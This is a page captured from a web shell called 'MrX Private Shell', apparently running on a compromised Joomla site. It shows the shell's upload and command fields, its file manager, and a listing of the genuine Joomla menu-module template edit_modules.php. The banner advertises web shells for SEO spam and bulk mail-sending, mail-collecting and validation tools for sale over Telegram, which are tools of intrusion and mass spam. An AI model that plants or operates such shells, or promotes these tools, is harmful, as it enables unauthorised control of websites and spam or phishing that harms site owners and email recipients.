__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

foreach ($this->levels as $key => $value) {
    $allLevels[$value->id] = $value->title;
}

$this->document->addScriptOptions('menus-edit-modules', ['viewLevels' => $allLevels, 'itemId' => $this->item->id]);

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_menus.admin-item-edit-modules');

// Set up the bootstrap modal that will be used for all module editors
echo HTMLHelper::_(
    'bootstrap.renderModal',
    'moduleEditModal',
    [
        'title'       => Text::_('COM_MENUS_EDIT_MODULE_SETTINGS'),
        'backdrop'    => 'static',
        'keyboard'    => false,
        'closeButton' => false,
        'bodyHeight'  => '70',
        'modalWidth'  => '80',
        'footer'      => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" data-bs-target="#closeBtn">'
                . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
                . '<button type="button" class="btn btn-primary" data-bs-dismiss="modal" data-bs-target="#saveBtn">'
                . Text::_('JSAVE') . '</button>'
                . '<button type="button" class="btn btn-success" data-bs-target="#applyBtn">'
                . Text::_('JAPPLY') . '</button>',
    ]
);

?>
<?php
// Set main fields.
$this->fields = ['toggle_modules_assigned', 'toggle_modules_published'];

echo LayoutHelper::render('joomla.menu.edit_modules', $this); ?>

<table class="table" id="modules_assigned">
    <caption class="visually-hidden">
        <?php echo Text::_('COM_MENUS_MODULES_TABLE_CAPTION'); ?>
    </caption>
    <thead>
        <tr>
            <th scope="col" class="w-40">
                <?php echo Text::_('COM_MENUS_HEADING_ASSIGN_MODULE'); ?>
            </th>
            <th scope="col" class="w-15">
                <?php echo Text::_('COM_MENUS_HEADING_LEVELS'); ?>
            </th>
            <th scope="col" class="w-15">
                <?php echo Text::_('COM_MENUS_HEADING_POSITION'); ?>
            </th>
            <th scope="col">
                <?php echo Text::_('COM_MENUS_HEADING_DISPLAY'); ?>
            </th>
            <th scope="col">
                <?php echo Text::_('COM_MENUS_HEADING_PUBLISHED_ITEMS'); ?>
            </th>
        </tr>
    </thead>
    <tbody>
    <?php foreach ($this->modules as $i => &$module) : ?>
        <?php if (is_null($module->menuid)) : ?>
            <?php if (!$module->except || $module->menuid < 0) : ?>
                <?php $no = 'no '; ?>
            <?php else : ?>
                <?php $no = ''; ?>
            <?php endif; ?>
        <?php else : ?>
            <?php $no = ''; ?>
        <?php endif; ?>
        <?php if ($module->published) : ?>
            <?php $status = ''; ?>
        <?php else : ?>
            <?php $status = 'unpublished '; ?>
        <?php endif; ?>
        <tr id="tr-<?php echo $module->id; ?>" class="<?php echo $no; ?><?php echo $status; ?>row<?php echo $i % 2; ?>">
            <th scope="row">
                <button type="button"
                    data-bs-target="#moduleEditModal"
                    class="btn btn-link module-edit-link"
                    title="<?php echo Text::_('COM_MENUS_EDIT_MODULE_SETTINGS'); ?>"
                    id="title-<?php echo $module->id; ?>"
                    data-module-id="<?php echo $module->id; ?>">
                    <?php echo $this->escape($module->title); ?></button>
            </th>
            <td id="access-<?php echo $module->id; ?>">
                <?php echo $this->escape($module->access_title); ?>
            </td>
            <td id="position-<?php echo $module->id; ?>">
                <?php echo $this->escape($module->position); ?>
            </td>
            <td id="menus-<?php echo $module->id; ?>">
                <?php if (is_null($module->menuid)) : ?>
                    <?php if ($module->except) : ?>
                        <span class="badge bg-success">
                            <?php echo Text::_('JYES'); ?>
                        </span>
                    <?php else : ?>
                        <span class="badge bg-danger">
                            <?php echo Text::_('JNO'); ?>
                        </span>
                    <?php endif; ?>
                <?php elseif ($module->menuid > 0) : ?>
                    <span class="badge bg-success">
                        <?php echo Text::_('JYES'); ?>
                    </span>
                <?php elseif ($module->menuid < 0) : ?>
                    <span class="badge bg-danger">
                        <?php echo Text::_('JNO'); ?>
                    </span>
                <?php else : ?>
                    <span class="badge bg-info">
                        <?php echo Text::_('JALL'); ?>
                    </span>
                <?php endif; ?>
            </td>
            <td id="status-<?php echo $module->id; ?>">
                <?php if ($module->published) : ?>
                    <span class="badge bg-success">
                        <?php echo Text::_('JYES'); ?>
                    </span>
                <?php else : ?>
                    <span class="badge bg-danger">
                        <?php echo Text::_('JNO'); ?>
                    </span>
                <?php endif; ?>
            </td>
        </tr>
    <?php endforeach; ?>
    </tbody>
</table>

Filemanager

Name Type Size Permission Actions
edit.php File 7.08 KB 0664
edit.xml File 499 B 0664
edit_container.php File 5.13 KB 0664
edit_modules.php File 5.58 KB 0664
modal.php File 765 B 0664
Filemanager